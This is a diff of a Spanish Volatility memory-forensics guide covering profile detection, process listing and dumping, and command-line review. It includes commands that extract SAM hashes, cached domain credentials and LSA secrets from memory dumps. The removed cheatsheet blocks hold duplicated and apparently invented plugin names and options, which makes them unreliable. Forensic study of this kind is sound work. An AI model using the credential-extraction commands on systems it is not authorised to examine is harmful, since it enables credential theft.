-[**Desde aquí**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): A diferencia de imageinfo que simplemente proporciona sugerencias de perfil, **kdbgscan** está diseñado para identificar positivamente el perfil correcto y la dirección KDBG correcta (si hay múltiples). Este complemento escanea las firmas de KDBGHeader vinculadas a perfiles de Volatility y aplica controles de integridad para reducir falsos positivos. La verbosidad de la salida y la cantidad de controles de integridad que se pueden realizar dependen de si Volatility puede encontrar un DTB, por lo que si ya conoce el perfil correcto (o si tiene una sugerencia de perfil de imageinfo), asegúrese de usarlo desde .
-
-Siempre eche un vistazo al **número de procesos que kdbgscan ha encontrado**. A veces imageinfo y kdbgscan pueden encontrar **más de un** perfil **adecuado**, pero solo el **válido tendrá algunos procesos relacionados** (Esto se debe a que para extraer procesos se necesita la dirección KDBG correcta).
+[**Desde aquí**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): A diferencia de imageinfo, que simplemente proporciona sugerencias de perfil, **kdbgscan** está diseñado para identificar positivamente el perfil correcto y la dirección KDBG correcta (si es que hay múltiples). Este plugin escanea las firmas KDBGHeader vinculadas a los perfiles de Volatility y aplica verificaciones de sensatez para reducir los falsos positivos. La verbosidad de la salida y el número de verificaciones de sensatez que se pueden realizar dependen de si Volatility puede encontrar un DTB, así que si ya conoces el perfil correcto (o si tienes una sugerencia de perfil de imageinfo), asegúrate de usarlo.
+Siempre revisa el **número de procesos que kdbgscan ha encontrado**. A veces, imageinfo y kdbgscan pueden encontrar **más de uno** **perfil** adecuado, pero solo el **válido tendrá algún proceso relacionado** (Esto se debe a que para extraer procesos se necesita la dirección KDBG correcta).
```bash
# GOOD
PsActiveProcessHead : 0xfffff800011977f0 (37 processes)
@@ -138,86 +126,48 @@ PsLoadedModuleList : 0xfffff8000119aae0 (116 modules)
PsActiveProcessHead : 0xfffff800011947f0 (0 processes)
PsLoadedModuleList : 0xfffff80001197ac0 (0 modules)
```
-
#### KDBG
-El **bloque depurador del kernel**, conocido como **KDBG** por Volatility, es crucial para las tareas forenses realizadas por Volatility y varios depuradores. Identificado como `KdDebuggerDataBlock` y del tipo `_KDDEBUGGER_DATA64`, contiene referencias esenciales como `PsActiveProcessHead`. Esta referencia específica apunta a la cabecera de la lista de procesos, lo que permite la enumeración de todos los procesos, lo cual es fundamental para un análisis exhaustivo de la memoria.
-
-## Información del sistema operativo
+El **bloque de depuración del núcleo**, conocido como **KDBG** por Volatility, es crucial para las tareas forenses realizadas por Volatility y varios depuradores. Identificado como `KdDebuggerDataBlock` y del tipo `_KDDEBUGGER_DATA64`, contiene referencias esenciales como `PsActiveProcessHead`. Esta referencia específica apunta a la cabeza de la lista de procesos, lo que permite listar todos los procesos, lo cual es fundamental para un análisis exhaustivo de la memoria.
+## Información del SO
```bash
#vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info)
./vol.py -f file.dmp windows.info.Info
```
-
-El plugin `banners.Banners` se puede utilizar en **vol3 para intentar encontrar banners de Linux** en el volcado de memoria.
+El plugin `banners.Banners` se puede usar en **vol3 para intentar encontrar banners de linux** en el volcado.
## Hashes/Contraseñas
-Extraer hashes SAM, [credenciales en caché del dominio](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) y [secretos de lsa](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets).
+Extraer hashes SAM, [credenciales en caché de dominio](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) y [secretos lsa](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets).
+{% tabs %}
+{% tab title="vol3" %}
```bash
./vol.py -f file.dmp windows.hashdump.Hashdump #Grab common windows hashes (SAM+SYSTEM)
./vol.py -f file.dmp windows.cachedump.Cachedump #Grab domain cache hashes inside the registry
./vol.py -f file.dmp windows.lsadump.Lsadump #Grab lsa secrets
```
+{% endtab %}
-#### Hoja de trucos de Volatility
-
-**Volatility**
-
-* **Volatility** es un marco de trabajo de análisis de memoria.
-* **Volatility** es un proyecto de código abierto.
-* **Volatility** es compatible con la mayoría de los sistemas operativos.
-* **Volatility** es compatible con la mayoría de los formatos de volcado de memoria.
-
-**Uso básico**
-
-* `volatility -f `
-
-**Comandos útiles**
-
-* `imageinfo`: Muestra información básica sobre el volcado de memoria.
-* `pslist`: Lista los procesos en el volcado de memoria.
-* `pstree`: Muestra los procesos en forma de árbol.
-* `psscan`: Escanea procesos a través de los espacios de direcciones.
-* `dlllist`: Lista las DLL cargadas en los procesos.
-* `cmdline`: Muestra las líneas de comandos de los procesos.
-* `filescan`: Escanea en busca de objetos de archivos en memoria.
-* `netscan`: Muestra información de red.
-* `connections`: Muestra las conexiones de red.
-* `sockets`: Muestra los sockets de red.
-* `malfind`: Encuentra inyecciones de código malicioso.
-* `yarascan`: Escanea la memoria en busca de patrones YARA.
-* `dumpfiles`: Extrae archivos del volcado de memoria.
-* `dump`: Extrae un proceso específico del volcado de memoria.
-* `memdump`: Crea un volcado de memoria de un proceso específico.
-* `linux_bash`: Muestra los comandos de bash ejecutados.
-* `linux_netstat`: Muestra información de red en sistemas Linux.
-* `linux_lsmod`: Lista los módulos del kernel en sistemas Linux.
-
-**Recursos adicionales**
-
-* **Volatility Wiki**: https://github.com/volatilityfoundation/volatility/wiki
-* **Volatility GitHub**: https://github.com/volatilityfoundation/volatility
-
+{% tab title="vol2" %}
```bash
volatility --profile=Win7SP1x86_23418 hashdump -f file.dmp #Grab common windows hashes (SAM+SYSTEM)
volatility --profile=Win7SP1x86_23418 cachedump -f file.dmp #Grab domain cache hashes inside the registry
volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets
```
+{% endtab %}
+{% endtabs %}
## Volcado de Memoria
El volcado de memoria de un proceso **extraerá todo** el estado actual del proceso. El módulo **procdump** solo **extraerá** el **código**.
-
```
volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/
```
-
-[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de tecnología y ciberseguridad en todas las disciplinas.
+[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
{% embed url="https://www.rootedcon.com/" %}
@@ -225,705 +175,180 @@ volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/
### Listar procesos
-Intenta encontrar procesos **sospechosos** (por nombre) o **inesperados** procesos secundarios (por ejemplo, un cmd.exe como hijo de iexplorer.exe).\
+Intenta encontrar procesos **sospechosos** (por nombre) o **inesperados** procesos **hijos** (por ejemplo, un cmd.exe como hijo de iexplorer.exe).\
Podría ser interesante **comparar** el resultado de pslist con el de psscan para identificar procesos ocultos.
+{% tabs %}
+{% tab title="vol3" %}
```bash
python3 vol.py -f file.dmp windows.pstree.PsTree # Get processes tree (not hidden)
python3 vol.py -f file.dmp windows.pslist.PsList # Get process list (EPROCESS)
python3 vol.py -f file.dmp windows.psscan.PsScan # Get hidden process list(malware)
```
+{% endtab %}
-### Hoja de trucos de Volatility
-
-#### Comandos básicos
-
-* **volatility -f imageinfo**: Escanea el volcado de memoria para obtener información básica.
-* **volatility -f pslist**: Enumera los procesos en ejecución.
-* **volatility -f pstree**: Muestra los procesos en forma de árbol.
-* **volatility -f psscan**: Escanea los procesos ocultos.
-* **volatility -f dlllist -p** : Lista las DLL cargadas por un proceso.
-* **volatility -f cmdscan**: Busca comandos ejecutados en la memoria.
-* **volatility -f consoles**: Enumera las consolas interactivas.
-* **volatility -f filescan**: Escanea los descriptores de archivo.
-* **volatility -f netscan**: Muestra las conexiones de red.
-* **volatility -f connections**: Enumera las conexiones de red.
-* **volatility -f malfind**: Encuentra inyecciones de código malicioso.
-* **volatility -f apihooks**: Busca API hooks en los procesos.
-* **volatility -f ldrmodules**: Lista los módulos cargados en los procesos.
-* **volatility -f modscan**: Escanea los módulos cargados.
-* **volatility -f shimcache**: Extrae información de ShimCache.
-* **volatility -f userassist**: Recupera información de UserAssist.
-* **volatility -f hivelist**: Enumera las ubicaciones del Registro en memoria.
-* **volatility -f printkey -o** : Imprime una clave de Registro en un desplazamiento específico.
-* **volatility -f cmdline**: Recupera las líneas de comandos de los procesos.
-* **volatility -f consoles -p** : Muestra las consolas asociadas a un proceso.
-* **volatility -f dumpfiles -Q -D** : Extrae archivos del espacio de memoria de un proceso.
-* **volatility -f memdump -p -D** : Crea un volcado de memoria de un proceso específico.
-* **volatility -f memmap**: Muestra el mapeo de memoria.
-* **volatility -f memstrings**: Busca cadenas ASCII en el espacio de memoria.
-* **volatility -f procdump -p -D** : Crea un volcado de memoria de un proceso.
-* **volatility -f procdump -p -D --format=**: Crea un volcado de memoria de un proceso en un formato específico.
-* **volatility -f procdump -p -D --format= --name=**: Crea un volcado de memoria de un proceso con un nombre específico.
-* **volatility -f yarascan -Y** : Escanea la memoria en busca de patrones que coincidan con una regla Yara.
-* **volatility -f yarascan -f \**: Escanea la memoria en busca de patrones que coincidan con un archivo de reglas Yara.
-* **volatility -f yarascan -p -Y** : Escanea la memoria de un proceso en busca de patrones que coincidan con una regla Yara.
-* **volatility -f yarascan -p -f \**: Escanea la memoria de un proceso en busca de patrones que coincidan con un archivo de reglas Yara.
-
-#### Plugins adicionales
-
-* **apihooks**: Busca hooks de API en los procesos.
-* **malfind**: Encuentra inyecciones de código malicioso en los procesos.
-* **mftparser**: Analiza el MFT (Master File Table) para encontrar archivos eliminados.
-* **timeliner**: Crea una línea de tiempo de los eventos del sistema.
-* **vadinfo**: Muestra información sobre los espacios de direcciones virtuales.
-* **vaddump**: Crea un volcado de un espacio de dirección virtual específico.
-* **vadtree**: Muestra los espacios de direcciones virtuales en forma de árbol.
-* **vadwalk**: Muestra las direcciones físicas asociadas con un espacio de dirección virtual.
-* **windows**: Enumera los procesos y los módulos de Windows.
-* **wintree**: Muestra los procesos y los módulos de Windows en forma de árbol.
-
+{% tab title="vol2" %}
```bash
volatility --profile=PROFILE pstree -f file.dmp # Get process tree (not hidden)
volatility --profile=PROFILE pslist -f file.dmp # Get process list (EPROCESS)
volatility --profile=PROFILE psscan -f file.dmp # Get hidden process list(malware)
volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list
```
+{% endtab %}
+{% endtabs %}
-### Volcado de procesos
+### Volcado de proc
+{% tabs %}
+{% tab title="vol3" %}
```bash
./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory
```
+{% endtab %}
-#### Hoja de trucos de Volatility
-
-**Comandos básicos de Volatility**
-
-* **volatility -f imageinfo**: Muestra información básica sobre el volcado de memoria.
-* **volatility -f pslist**: Muestra una lista de procesos en el volcado de memoria.
-* **volatility -f pstree**: Muestra un árbol de procesos en el volcado de memoria.
-* **volatility -f psscan**: Escanea procesos en el volcado de memoria.
-* **volatility -f dlllist -p** : Muestra una lista de DLL cargadas por un proceso específico.
-* **volatility -f cmdscan**: Escanea comandos de consola en el volcado de memoria.
-* **volatility -f filescan**: Escanea descriptores de archivos en el volcado de memoria.
-* **volatility -f netscan**: Escanea información de red en el volcado de memoria.
-* **volatility -f connections**: Muestra conexiones de red en el volcado de memoria.
-* **volatility -f malfind**: Encuentra inyecciones de código malicioso en procesos.
-* **volatility -f yarascan**: Escanea la memoria en busca de patrones con Yara.
-* **volatility -f cmdline**: Muestra los argumentos de línea de comandos de procesos.
-* **volatility -f consoles**: Muestra consolas interactivas detectadas en el volcado de memoria.
-* **volatility -f hivelist**: Enumera los registros del sistema en el volcado de memoria.
-* **volatility -f printkey -o** : Imprime una clave de registro en un desplazamiento específico.
-* **volatility -f userassist**: Muestra programas ejecutados y frecuencia de ejecución.
-* **volatility -f shimcache**: Muestra entradas de la caché de compatibilidad de aplicaciones.
-* **volatility -f ldrmodules**: Enumera módulos cargados en procesos.
-* **volatility -f modscan**: Escanea módulos en el volcado de memoria.
-* **volatility -f getsids**: Enumera los SID de seguridad en el volcado de memoria.
-* **volatility -f getservicesids**: Enumera los SID de seguridad asociados a servicios.
-* **volatility -f svcscan**: Escanea servicios en el volcado de memoria.
-* **volatility -f driverirp**: Enumera IRP manejadores de controladores.
-* **volatility -f callbacks**: Enumera rutinas de devolución de llamada registradas.
-* **volatility -f ssdt**: Enumera servicios del sistema (SSDT).
-* **volatility -f gdt**: Enumera descriptores de tablas globales.
-* **volatility -f idt**: Enumera descriptores de tablas de interrupciones.
-* **volatility -f threads**: Enumera hilos en el volcado de memoria.
-* **volatility -f mutantscan**: Escanea objetos de mutante en el volcado de memoria.
-* **volatility -f mutantscan**: Escanea objetos de mutante en el volcado de memoria.
-* **volatility -f envars**: Enumera variables de entorno en procesos.
-* **volatility -f atomscan**: Escanea tablas de átomos en el volcado de memoria.
-* **volatility -f atomscan**: Escanea tablas de átomos en el volcado de memoria.
-* **volatility -f vadinfo -o** : Muestra información sobre un área de memoria específica.
-* **volatility -f vadtree -o** : Muestra un árbol de áreas de memoria.
-* **volatility -f memmap**: Muestra un mapa de memoria.
-* **volatility -f memdump -p -D** : Volcado de memoria de un proceso específico.
-* **volatility -f memdump -p -D -r** : Volcado de memoria de un rango de direcciones de un proceso.
-* **volatility -f memstrings -p** : Extrae cadenas ASCII de un proceso.
-* **volatility -f memstrings -Q** : Extrae cadenas ASCII de todo el volcado de memoria.
-* **volatility -f memdump**: Volcado de memoria completo.
-* **volatility -f memdump --profile= -D** : Volcado de memoria con perfil específico.
-* **volatility -f memdump --profile= -D -r** : Volcado de memoria con perfil y rango específico.
-* **volatility -f memdump --profile= -D -r -p** : Volcado de memoria con perfil, rango y proceso específico.
-* **volatility -f memdump --profile= -D -r -p --output-file=**: Volcado de memoria con perfil, rango, proceso específico y archivo de salida.
-* **volatility -f memdump --profile= -D -r -p --output-file= --output=html**: Volcado de memoria con perfil, rango, proceso específico, archivo de salida y formato HTML.
-
-**Plugins adicionales de Volatility**
-
-* **volatility -f \**: Ejecuta un plugin específico en el volcado de memoria.
-* **volatility -f --plugins= \**: Ejecuta un plugin específico desde un directorio personalizado.
-* **volatility --info**: Muestra información sobre todos los plugins disponibles.
-* **volatility --plugins= --info**: Muestra información sobre los plugins en un directorio personalizado.
-
-**Análisis avanzado con Volatility**
-
-* **Automatización de tareas**: Utiliza scripts para automatizar el análisis de volcados de memoria.
-* **Creación de perfiles personalizados**: Crea perfiles personalizados para mejorar la precisión del análisis.
-* **Análisis de malware**: Utiliza Volatility para identificar indicadores de compromiso y comportamiento malicioso.
-* **Análisis de rootkits**: Detecta rootkits y malware persistente en el sistema.
-* **Análisis de exploits**: Identifica exploits en la memoria del sistema para fortalecer la seguridad.
-* **Análisis de incidentes de seguridad**: Examina volcados de memoria para investigar incidentes de seguridad.
-* **Análisis forense**: Aplica técnicas forenses para reconstruir eventos y actividades en el sistema comprometido.
-
+{% tab title="vol2" %}
```bash
volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f file.dmp
```
+{% endtab %}
+{% endtabs %}
### Línea de comandos
¿Se ejecutó algo sospechoso?
+{% tabs %}
+{% tab title="vol3" %}
```bash
python3 vol.py -f file.dmp windows.cmdline.CmdLine #Display process command-line arguments
```
+{% endtab %}
-### Hoja de trucos de Volatility
-
-#### Análisis de volcado de memoria
-
-**Comandos básicos**
-
-* **volatility -f imageinfo**: Muestra información básica sobre el volcado de memoria.
-* **volatility -f pslist**: Muestra una lista de procesos en el volcado de memoria.
-* **volatility -f pstree**: Muestra un árbol de procesos en el volcado de memoria.
-* **volatility -f psscan**: Escanea procesos a través del volcado de memoria.
-* **volatility -f dlllist -p** : Muestra una lista de DLL cargadas en un proceso específico.
-* **volatility -f cmdscan**: Escanea la memoria en busca de comandos de consola.
-* **volatility -f filescan**: Escanea la memoria en busca de estructuras de archivos.
-* **volatility -f netscan**: Escanea la memoria en busca de artefactos de red.
-* **volatility -f connections**: Muestra información sobre las conexiones de red.
-* **volatility -f consoles**: Muestra información sobre las consolas interactivas.
-* **volatility -f hivelist**: Enumera los registros del sistema en el volcado de memoria.
-* **volatility -f userassist**: Muestra información sobre programas utilizados recientemente.
-* **volatility -f malfind**: Encuentra inyecciones de código malicioso en procesos.
-* **volatility -f apihooks**: Muestra información sobre ganchos de API en procesos.
-* **volatility -f ldrmodules**: Muestra información sobre módulos cargados en procesos.
-* **volatility -f shimcache**: Muestra información sobre aplicaciones ejecutadas en el sistema.
-* **volatility -f getsids**: Enumera los SID de usuario en el volcado de memoria.
-* **volatility -f getservicesids**: Enumera los SID de servicio en el volcado de memoria.
-* **volatility -f modscan**: Escanea la memoria en busca de módulos del kernel.
-* **volatility -f mutantscan**: Escanea la memoria en busca de objetos de mutante.
-* **volatility -f envars**: Muestra variables de entorno de procesos.
-* **volatility -f dumpfiles -Q-D \